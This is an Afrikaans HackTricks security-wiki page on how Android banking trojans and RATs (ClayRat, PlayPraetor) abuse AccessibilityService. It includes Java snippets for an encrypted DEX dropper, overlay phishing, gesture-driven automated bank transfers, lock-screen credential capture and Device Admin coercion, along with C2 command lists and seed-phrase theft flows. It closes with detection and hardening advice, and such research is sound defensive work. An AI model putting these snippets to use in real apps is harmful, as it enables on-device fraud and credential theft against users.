Misbruik van Android Accessibility Service

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Oorsig

AccessibilityService is geskep om gebruikers met gestremdhede te help om met Android-toestelle te kommunikeer. Ongelukkig kan dieselfde kragtige automatiserings-API’s (global navigation, text input, gesture dispatch, overlay windows…) deur malware gemilitariseer word om volledige afstandbeheer oor die handset te verkry sonder root-bevoegdhede.

Moderne Android-banktrojans en Remote-Access-Trojans (RATs) soos PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda en baie ander volg dieselfde resep:

  1. Sosiaal-ingenieurswerk die slagoffer om ’n kwaadwillige accessibility-diens te aktiveer (die BIND_ACCESSIBILITY_SERVICE permission word as “high-risk” beskou en vereis ’n eksplisiete gebruikersaksie).
  2. Benut die diens om
  • vasvang elke UI event & teks wat op die skerm verskyn,
  • injekteer syntetiese gebare (dispatchGesture) en globale aksies (performGlobalAction) om enige taak wat die operateur verlang te outomatiseer,
  • teken volskerm-overlays bo regmatige apps met die TYPE_ACCESSIBILITY_OVERLAY venstertipe (geen SYSTEM_ALERT_WINDOW prompt!),
  • stilletjies bykomende runtime permissions verleen deur op die stelsel-dialoë namens die slagoffer te klik.
  1. Eksfiltreer data of voer On-Device-Fraud (ODF) in real-time uit terwyl die gebruiker na ’n heeltemal normale skerm kyk.

Gepakte Accessibility droppers

ClayRat v3.0.8 koppel sy Accessibility RAT aan ’n gefaseerde payload wat onder assets/ weggesteek is. Tydens runtime doen die gasheer-APK:

  1. Stream die geënkripteerde blob vanaf assets/*.dat.
  2. Dekript dit met ’n hard-coded AES/CBC key + IV ingebed in die Java/Kotlin loader.
  3. Skryf die plainteks DEX na die app se private dir en laai dit via DexClassLoader, waardeur die werklike spyware classes slegs in geheue blootgestel word.
byte[] blob = readAsset("payload.enc");
Cipher c = Cipher.getInstance("AES/CBC/PKCS5Padding");
SecretKeySpec key = new SecretKeySpec(hex("A1..."), "AES");
c.init(Cipher.DECRYPT_MODE, key, new IvParameterSpec(iv));
byte[] dex = c.doFinal(blob);
DexClassLoader cl = new DexClassLoader(writeTemp(dex), getCodeCacheDir().getPath(), null, getClassLoader());
cl.loadClass("com.clayrat.Core").newInstance();

Hierdie packing-patroon (ATT&CK T1406.002) hou die Accessibility-module van die skyf af totdat die dropper uitgevoer word, en omseil statiese handtekening-skanderings en Play Protect totdat die gebruiker reeds die gevaarlike toestemmings verleen het.


Toestemming versoek

<!-- AndroidManifest.xml -->
<service
android:name="com.evil.rat.EvilService"
android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
android:exported="false">

<intent-filter>
<action android:name="android.accessibilityservice.AccessibilityService" />
</intent-filter>

<meta-data android:name="android.accessibilityservice"
android:resource="@xml/evil_accessibility_config"/>
</service>

Die begeleidende XML definieer hoe die vals dialoog sal lyk:

<?xml version="1.0" encoding="utf-8"?>
<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
android:description="@string/service_description"
android:accessibilityEventTypes="typeAllMask"
android:accessibilityFeedbackType="feedbackGeneric"
android:notificationTimeout="200"
android:canPerformGestures="true"
android:canRetrieveWindowContent="true"/>

Afstand-UI-automatiseringsprimitiewe

Toeganklikheidsdiens automatiseringsskelet ```java public class EvilService extends AccessibilityService { @Override public void onAccessibilityEvent(AccessibilityEvent event) { // harvest text or detect foreground app change }

// Simulate HOME / BACK / RECENTS … private void navHome() { performGlobalAction(GLOBAL_ACTION_HOME); } private void navBack() { performGlobalAction(GLOBAL_ACTION_BACK); } private void openRecents() { performGlobalAction(GLOBAL_ACTION_RECENTS); }

// Generic tap / swipe public void tap(float x, float y) { Path p = new Path(); p.moveTo(x, y); GestureDescription.StrokeDescription s = new GestureDescription.StrokeDescription(p, 0, 50); dispatchGesture(new GestureDescription.Builder().addStroke(s).build(), null, null); } }

</details>

Met net hierdie twee APIs kan 'n attacker:
* Ontsluit die skerm, open die banking app, navigeer die UI tree en stuur 'n oordragvorm in.
* Aanvaar elke toestemmingsdialoog wat opduik.
* Installeer/werk ekstra APKs via die Play Store intent.

---

## Misbruikpatrone

### 1. Overlay Phishing (Credential Harvesting)
'n deursigtige of ondoorzichtige `WebView` word by die window manager gevoeg:
```java
WindowManager.LayoutParams lp = new WindowManager.LayoutParams(
MATCH_PARENT, MATCH_PARENT,
TYPE_ACCESSIBILITY_OVERLAY,                      // ⬅ bypasses SYSTEM_ALERT_WINDOW
FLAG_NOT_FOCUSABLE | FLAG_NOT_TOUCH_MODAL,       // touches still reach the real app
PixelFormat.TRANSLUCENT);
wm.addView(phishingView, lp);

Die slagoffer tik geloofsbriewe in die valse vorm terwyl die agtergrond-app dieselfde gebare ontvang — geen verdagte “draw over other apps” prompt word ooit vertoon nie.

Detailed example: the Accessibility Overlay Phishing section inside the Tapjacking page.

ClayRat bied hierdie vermoë met die show_block_screen / hide_block_screen opdragte wat overlay-sjablone van die C2 aflaai. Operateurs kan layouts op die vlug wissel om:

  • Swart maak die paneel sodat die slagoffer aanneem die toestel is af of gevries, terwyl geoutomatiseerde gebare Play Protect deaktiveer of meer toestemmings verleen.
  • Vertoon vals stelselopdatering / battery optimization skerms wat verklaar waarom die toestel “besig” is terwyl agtergrond-automatisering voortgaan.
  • Wys ’n interaktiewe PIN-pad overlay wat die stelsel-sluitskerm weerspieël — die malware vang elke syfer op en stroom dit na die operateur sodra ’n 4‑syfer kode ingevoer is.

Omdat TYPE_ACCESSIBILITY_OVERLAY-vensters nooit die SYSTEM_ALERT_WINDOW toestemmingsprompt opwek nie, sien die slagoffer net die lokaas-UI terwyl die RAT aanhou met interaksies met die werklike apps daaronder.

2. On-Device-bedrogautomatisering

Malware-families soos PlayPraetor handhaaf ’n volhoubare WebSocket-kanaal waar die operateur hoëvlak-opdragte kan uitreik (init, update, alert_arr, report_list, …). Die diens vertaal daardie opdragte na die laervlak-gebare hierbo en bereik real-time ongemagtigde transaksies wat maklik multi-factor-authentication wat aan daardie toestel verbind is, omseil.

3. Skermstreaming & monitering

ClayRat verryk die gewone MediaProjection-truk in ’n remote desktop-stapel:

  1. turbo_screen aktiveer die MediaProjection consent dialog; die Accessibility service klik “Start now” sodat die slagoffer nooit inmeng nie.
  2. Met die resulterende MediaProjection token skep dit ’n VirtualDisplay ondersteun deur ’n ImageReader, hou ’n ForegroundService lewendig en onttrek rame op worker-threads.
  3. Frames word as JPEG/PNG gekodeer volgens die operateur-gespesifiseerde set_quality parameter (standaard op 60 wanneer afwesig) en gestuur oor ’n HTTP→WebSocket-upgrade wat die pasgemaakte ClayRemoteDesktop user-agent adverteer.
  4. start_desktop / stop_desktop bestuur die vaslegging-threads terwyl screen_tap, screen_swipe, input_text, press_home, press_back en press_recents gebare teen die lewende framebuffer herbedryf.

Die resultaat is ’n VNC-agtige voer wat volledig deur gesanctioneerde APIs gelewer word — geen root of kernel-exploite nie — maar dit gee die aanvaller lewende situasionele bewussyn met millisekonde-latensie.

4. Sleutel-skerm credential-diefstal & outo-ontsluiting

ClayRat subskribeer op TYPE_WINDOW_CONTENT_CHANGED / TYPE_VIEW_TEXT_CHANGED events wat deur com.android.systemui (Keyguard) uitgee word. Dit herbou watter beskerming aktief is:

  • PIN – kyk na numpad-knoppie-drukkies totdat die lockersituasie voltooi is.
  • Password – konkateer stringe gesien in die gefokusde password-veld vir elke AccessibilityEvent.
  • Pattern – neem die geordende node-indekse op wat afgeleid is van gebare-koördinate oor die 3×3-rooster.

Geheime plus metadata (slottipe + tydstempel) word in SharedPreferences geserialiseer onder lock_password_storage. Wanneer die operateur auto_unlock druk, wek die diens die toestel met unlock_device / screen_on, speel die gestoor syfers of gebare via dispatchGesture af, en omseil stilweg die keyguard sodat daaropvolgende ODF-werkstrome kan voortgaan.

5. Kennisgewing-phishing & oes

’n Geselskap Notification Listener verander die shade na ’n phishing-oppervlak:

  • get_push_notifications dumpt alle tans sigbare kennisgewings, insluitend OTP / MFA-boodskappe.
  • Die notifications opdrag skakel ’n notifications_enabled vlag sodat elke toekomstige onNotificationPosted() payload in real time na die C2 gestroom word.
  • send_push_notification laat operateurs vals, interaktiewe kennisgewings skep wat bank- of kletsapps naboots; enige teks wat die slagoffer indien word as credentials gepars en onmiddellik eksfiltreer.

Omdat Accessibility programmaties die kennisgewingskadu kan oopmaak/dismiss, oes hierdie metode geheime sonder om die geteikende apps aan te raak.

6. Telephony & SMS opdragkanaal

Nadat die gebruiker gedwing is om die RAT as die verstek SMS-app te stel, bied die volgende opdragte volledige modembeheerde funksionaliteit:

  • send_sms en retransmishion stuur arbitrêre of hergespeelde boodskappe na aanvallers-beheerde nommers.
  • messsms iterereer oor die hele kontakte-databasis om phishing-skakels te spam vir wurm-agtige propagasie.
  • make_call inisier stemoproepe wat sosiale-ingenieurswese-werkstrome ondersteun.
  • get_sms_list / get_sms en get_call_log / get_calls dumpt inkassies en oproephistories sodat MFA-kodes of oproepmetadata onmiddellik misbruik kan word.

Gekombineer met Accessibility-gedrewe UI-navigasie, kan ClayRat ’n OTP via kennisgewing/SMS ontvang en dit onmiddellik binne die geteikende bank- of enterprise-app invoer.

7. Ontdekking, versameling & proxying

Bykomende ClayRat-opdragte karteer die omgewing en hou C2 veerkragtig:

  • get_apps / get_apps_list enumereer geïnstalleerde pakkette (ATT&CK T1418).
  • get_device_info rapporteer model, OS-weergawe en batterystatus (T1426).
  • get_cam / get_camera neem voorste kamera-stilbeelde, terwyl get_keylogger_data lock-PINs plus wagwoorde, view-beskrywings en hints wat uit sensitiewe velde geskraap is, serialiseer.
  • get_proxy_data haal ’n proxy WebSocket-URL op, voeg die unieke toestel-ID by en draai ’n job wat HTTP/HTTPS oor dieselfde bidirectionele kanaal tunnel (T1481.002 / T1646).

PlayPraetor – command & control workflow

  1. HTTP(S) heartbeat – iterasie oor ’n hard-gekodeerde lys totdat een domein antwoord POST /app/searchPackageName met die aktiewe C2.
  2. WebSocket (port 8282) – bidirectionele JSON-opdragte:
  • update – push nuwe conf/APKs
  • alert_arr – konfigureer overlay-sjablone
  • report_list – stuur lys van geteikende pakketname
  • heartbeat_web – keep-alive
  1. RTMP (port 1935) – lewendige skerm/video streaming.
  2. REST eksfiltrasie
  • /app/saveDevice (fingerprint)
  • /app/saveContacts | /app/saveSms | /app/uploadImageBase64
  • /app/saveCardPwd (bank creds)

Die AccessibilityService is die plaaslike enjin wat daardie cloud-opdragte in fisiese interaksies omskakel.


Opsporing van kwaadwillige accessibility-dienste

  • adb shell settings get secure enabled_accessibility_services
  • Settings → Accessibility → Downloaded services – kyk vir apps wat nie van Google Play is nie.
  • MDM / EMM-oplossings kan ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY (Android 13+) afdwing om sideloaded dienste te blokkeer.
  • Analiseer lopende dienste:
adb shell dumpsys accessibility | grep "Accessibility Service"

Verhardingsaanbevelings vir app-ontwikkelaars

  • Merk sensitiewe views met android:accessibilityDataSensitive="accessibilityDataPrivateYes" (API 34+).
  • Kombineer setFilterTouchesWhenObscured(true) met FLAG_SECURE om tap/overlay-hijacking te voorkom.
  • Detecteer overlays deur WindowManager.getDefaultDisplay().getFlags() of die ViewRootImpl API te poll.
  • Weier om te funksioneer wanneer Settings.canDrawOverlays() of ’n nie-vertroude Accessibility service aktief is.

ATS automatisering cheat-sheet (Accessibility-driven)

Malware kan ’n bank-app ten volle outomatiseer slegs met Accessibility APIs. Generiese primitiewe:

Helper methods for ATS automation ```java // Helpers inside your AccessibilityService private List byText(String t){ AccessibilityNodeInfo r = getRootInActiveWindow(); return r == null ? Collections.emptyList() : r.findAccessibilityNodeInfosByText(t); } private boolean clickText(String t){ for (AccessibilityNodeInfo n: byText(t)){ if (n.isClickable()) return n.performAction(ACTION_CLICK); AccessibilityNodeInfo p = n.getParent(); if (p != null) return p.performAction(ACTION_CLICK); } return false; } private void inputText(AccessibilityNodeInfo field, String text){ Bundle b = new Bundle(); b.putCharSequence(ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE, text); field.performAction(ACTION_SET_TEXT, b); } private void tap(float x, float y){ Path p = new Path(); p.moveTo(x,y); dispatchGesture(new GestureDescription.Builder() .addStroke(new GestureDescription.StrokeDescription(p,0,40)).build(), null, null); } ```

Voorbeeldvloei (Tsjeggies → Engelse etikette):

  • “Nová platba” (Nuwe betaling) → klik
  • “Zadat platbu” (Voer betaling in) → klik
  • “Nový příjemce” (Nuwe ontvanger) → klik
  • “Domácí číslo účtu” (Inlandse rekeningnommer) → fokus en ACTION_SET_TEXT
  • “Další” (Volgende) → klik → … “Zaplatit” (Betaal) → klik → voer PIN in

Terugval: hard-gekodeerde koördinate met dispatchGesture wanneer teksopsoek misluk as gevolg van pasgemaakte widgets.

Ook gesien: voorstappe na check_limit en limit deur na die limiete-UI te navigeer en daaglikse limiete te verhoog voor oordrag.

Teksgebaseerde pseudo-skermstroom

Vir lae-latensie afstandbeheer, in plaas van volledige video-streaming, stort ’n tekstuele voorstelling van die huidige UI-boom uit en stuur dit herhaaldelik na C2.

private void dumpTree(AccessibilityNodeInfo n, String indent, StringBuilder sb){
if (n==null) return;
Rect b = new Rect(); n.getBoundsInScreen(b);
CharSequence txt = n.getText(); CharSequence cls = n.getClassName();
sb.append(indent).append("[").append(cls).append("] ")
.append(txt==null?"":txt).append(" ")
.append(b.toShortString()).append("\n");
for (int i=0;i<n.getChildCount();i++) dumpTree(n.getChild(i), indent+"  ", sb);
}

Dit is die basis vir opdragte soos txt_screen (eenmalig) en screen_live (deurlopend).

Device Admin dwangprimitiewe

Sodra ’n Device Admin receiver geaktiveer is, verhoog hierdie oproepe die geleenthede om credentials te vang en beheer te behou:

DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(DEVICE_POLICY_SERVICE);
ComponentName admin = new ComponentName(this, AdminReceiver.class);

// 1) Immediate lock
dpm.lockNow();

// 2) Force credential change (expire current PIN/password)
dpm.setPasswordExpirationTimeout(admin, 1L); // may require owner/profile-owner on recent Android

// 3) Disable biometric unlock to force PIN/pattern entry
int flags = DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT |
DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS;
dpm.setKeyguardDisabledFeatures(admin, flags);

Nota: die presiese beskikbaarheid van hierdie beleide verskil per Android-weergawe en OEM; valideer die device policy role (admin vs owner) tydens toetsing.

Crypto wallet seed-phrase extraction patterns

Waargenome vloei vir MetaMask, Trust Wallet, Blockchain.com and Phantom:

  • Ontsluit met gesteelde PIN (captured via overlay/Accessibility) of die verskafte wallet password.
  • Navigeer: Settings → Security/Recovery → Reveal/Show recovery phrase.
  • Versamel die frase via keylogging van die text nodes, secure-screen bypass, of screenshot OCR wanneer die teks verskuil is.
  • Ondersteun verskeie locales (EN/RU/CZ/SK) om selectors te stabiliseer – verkies viewIdResourceName wanneer beskikbaar, val terug op meertalige teks-ooreenkoms.

NFC-relay orchestration

Accessibility/RAT modules kan ’n toegewyde NFC-relay app (bv. NFSkate) as ’n derde fase installeer en begin, en selfs ’n overlay gids injekteer om die slagoffer deur card-present relay-stappe te lei.

Background and TTPs: https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay


Verwysings

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks